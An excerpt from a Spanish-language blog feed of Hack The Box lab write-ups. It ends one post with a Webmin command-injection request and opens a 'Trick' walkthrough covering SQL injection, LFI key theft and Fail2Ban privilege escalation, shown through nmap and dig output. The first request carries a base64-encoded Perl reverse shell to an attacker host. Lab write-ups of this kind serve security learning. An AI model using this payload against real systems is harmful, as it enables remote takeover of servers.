&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Host&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.2.&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Cookie&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; redirect=&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;; testing=&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;; sid=af122636c747c504f006f91e9b600aae
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;User-Agent&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Mozilla/&lt;span style="color:#ae81ff"&gt;5.0&lt;/span&gt; (X11; Linux x86_64; rv&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;128.0&lt;/span&gt;) Gecko/&lt;span style="color:#ae81ff"&gt;20100101&lt;/span&gt; Firefox/&lt;span style="color:#ae81ff"&gt;128.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Accept&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; */*
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Accept-Language&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; en-US,en;q=&lt;span style="color:#ae81ff"&gt;0.5&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Accept-Encoding&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; gzip, deflate, br
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Content-Type&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; application/x-www-form-urlencoded; charset=UTF-&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;X-Progressive-Url: https&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.2.&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10000&lt;/span&gt;/package-updates/update.cgi
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;X-Requested-From: package-updates
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;X-Requested-From-Tab: webmin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;X-Requested-With: XMLHttpRequest
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Content-Length&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;289&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Origin&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; https&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.2.&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Referer&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; https&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.2.&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10000&lt;/span&gt;/package-updates/update.cgi&lt;span style="color:#66d9ef"&gt;?&lt;/span&gt;xnavigation=&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Sec-Fetch-Dest: empty
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Sec-Fetch-Mode: cors
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Sec-Fetch-Site: same-origin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Priority&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; u=&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Te&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; trailers
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Connection&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; keep-alive
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;u=acl&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2Fapt&amp;amp;u=+&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7C+bash+-c+&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7Becho&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2CcGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxMC4xMC4xNS40NDo0NDQ0Iik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2BZmRvcGVuKCRjLHcpO3N5c3RlbSRfIHdoaWxlPD47Jw&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;7D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7C&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7Bbase64&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2C-d&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;7D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7C&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7Bbash&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2C-i&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;7D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;+&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;0A
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Rooted.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f1888fa-f353-80e4-b86a-c509d9d64746.png" alt="Imagen del post"&gt;&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>Trick (Easy)</title><link>https://synacklabs.github.io/posts/trick/</link><pubDate>Thu, 22 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/trick/</guid><description>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Esta máquina Linux expone varios servicios web y DNS. Comienzo enumerando DNS donde encuentro una transferencia de zona que revela subdominios ocultos. En uno de ellos, abuso de una &lt;strong&gt;SQL Injection&lt;/strong&gt; para acceder a un panel administrativo y obtener credenciales, aunque no son útiles para SSH. En un segundo subdominio, exploto un &lt;strong&gt;LFI (Local File Inclusion)&lt;/strong&gt; con bypass de filtros para exfiltrar una clave SSH privada. Finalmente, escalo privilegios abusando de permisos de escritura en la configuración de &lt;strong&gt;Fail2Ban&lt;/strong&gt; y mi capacidad de reiniciar el servicio con &lt;code&gt;sudo&lt;/code&gt;.&lt;/p&gt;</description><content>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Esta máquina Linux expone varios servicios web y DNS. Comienzo enumerando DNS donde encuentro una transferencia de zona que revela subdominios ocultos. En uno de ellos, abuso de una &lt;strong&gt;SQL Injection&lt;/strong&gt; para acceder a un panel administrativo y obtener credenciales, aunque no son útiles para SSH. En un segundo subdominio, exploto un &lt;strong&gt;LFI (Local File Inclusion)&lt;/strong&gt; con bypass de filtros para exfiltrar una clave SSH privada. Finalmente, escalo privilegios abusando de permisos de escritura en la configuración de &lt;strong&gt;Fail2Ban&lt;/strong&gt; y mi capacidad de reiniciar el servicio con &lt;code&gt;sudo&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-8010-b2a5-dfb150ac841c.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="escaneo-y-reconocimiento"&gt;Escaneo y Reconocimiento&lt;/h2&gt;
&lt;p&gt;Comienzo con un escaneo básico de servicios. Detecto SSH, DNS y un servidor Web Nginx.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;/tcp open ssh syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; OpenSSH &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt;.9p1 Debian &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;+deb10u2 (protocol &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssh-hostkey&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;2048&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;61&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ff&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;29&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;3b&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;36&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;bd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;9d&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ac&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;fb&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;de&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1f&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;56&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;88&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;4c&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ae&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2d&lt;/span&gt; (RSA)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5Rh57OmAndXFukHce0Tr4BL8CWC8yACwWdu8VZcBPGuMUH8VkvzqseeC8MYxt5SPL1aJmAsZSgOUreAJNlYNBBKjMoFwyDdArWhqDThlgBf6aqwqMRo3XWIcbQOBkrisgqcPnRKlwh+vqArsj5OAZaUq8zs7Q3elE6HrDnj779JHCc5eba+DR+Cqk1u4JxfC6mGsaNMAXoaRKsAYlwf4Yjhonl6A6MkWszz7t9q5r2bImuYAC0cvgiHJdgLcr0WJh+lV8YIkPyya1vJFp1gN4Pg7I6CmMaiWSMgSem5aVlKmrLMX10MWhewnyuH2ekMFXUKJ8wv4DgifiAIvd6AGR
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; 9e&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;cd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f2&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;40&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;61&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;96&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ea&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;21&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;a6&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ce&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;26&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;02&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;af&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;75&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;9a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;78&lt;/span&gt; (ECDSA)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAoXvyMKuWhQvWx52EFXK9ytX/pGmjZptG8Kb+DOgKcGeBgGPKX3ZpryuGR44av0WnKP0gnRLWk7UCbqY3mxXU0=
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;72&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;93&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f9&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;11&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;58&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;de&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;34&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ad&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;b5&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;4b&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;4a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;73&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;b9&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;70&lt;/span&gt; (ED25519)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGY1WZWn9xuvXhfxFFm82J9eRGNYJ9NnfzECUm0faUXm
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;25&lt;/span&gt;/tcp open smtp? syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_smtp-commands: Couldn&lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;#39;&lt;/span&gt;t establish connection on port &lt;span style="color:#ae81ff"&gt;25&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt;/tcp open domain syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; ISC BIND &lt;span style="color:#ae81ff"&gt;9.11&lt;/span&gt;.&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;-P4-&lt;span style="color:#ae81ff"&gt;5.1&lt;/span&gt;+deb10u7 (Debian Linux)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| dns-nsid&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ bind.version&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;9.11&lt;/span&gt;.&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;-P4-&lt;span style="color:#ae81ff"&gt;5.1&lt;/span&gt;+deb10u7-Debian
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; nginx &lt;span style="color:#ae81ff"&gt;1.14&lt;/span&gt;.2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Supported Methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; GET HEAD
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-favicon: Unknown favicon MD5&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 556F31ACD686989B1AFCF382C05846AA
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: nginx/&lt;span style="color:#ae81ff"&gt;1.14&lt;/span&gt;.2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Coming Soon - Start Bootstrap Theme
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; OS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Linux; CPE&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; cpe&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/o:linux&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="enumeración-web-puerto-80"&gt;Enumeración Web (Puerto 80)&lt;/h3&gt;
&lt;p&gt;Al visitar la web principal en el puerto 80, encuentro una página &amp;ldquo;Coming Soon&amp;rdquo; sin funcionalidad aparente. Identifico que corre sobre &lt;strong&gt;Nginx 1.14.2&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-80da-9483-d666c3dfcfea.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="enumeración-dns-puerto-53"&gt;Enumeración DNS (Puerto 53)&lt;/h3&gt;
&lt;p&gt;Dado que el puerto 53 está abierto, realizo una búsqueda inversa (reverse lookup) para identificar el nombre de dominio de la máquina.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dig @10.129.95.104 -x &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.95.104
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG &lt;span style="color:#ae81ff"&gt;9.20&lt;/span&gt;.&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;-Debian &amp;lt;&amp;lt;&amp;gt;&amp;gt; @10.129.95.104 -x &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.95.104
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;; (&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; server found)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; global options&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; +cmd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; Got answer&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; QUERY, status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; NOERROR, id&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;46316&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; flags&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; qr aa rd; QUERY&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, ANSWER&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, AUTHORITY&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, ADDITIONAL&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; WARNING&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; recursion requested but not available
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; OPT PSEUDOSECTION&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;; EDNS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; version&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, flags&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;; udp&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;4096&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;; COOKIE&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 5e0ee3a854962e4cc522bb9469725f8b9fb68186fcd1fb04 (good)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; QUESTION SECTION&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;&lt;span style="color:#ae81ff"&gt;104.95&lt;/span&gt;.129.10.in-addr.arpa. &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; PTR
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; ANSWER SECTION&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;104.95&lt;/span&gt;.129.10.in-addr.arpa. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; PTR trick.htb.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; AUTHORITY SECTION&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;95.129&lt;/span&gt;.10.in-addr.arpa. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; NS trick.htb.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; ADDITIONAL SECTION&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;trick.htb. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; A &lt;span style="color:#ae81ff"&gt;127.0&lt;/span&gt;.0.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;trick.htb. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; AAAA ::&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; Query time&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;204&lt;/span&gt; msec
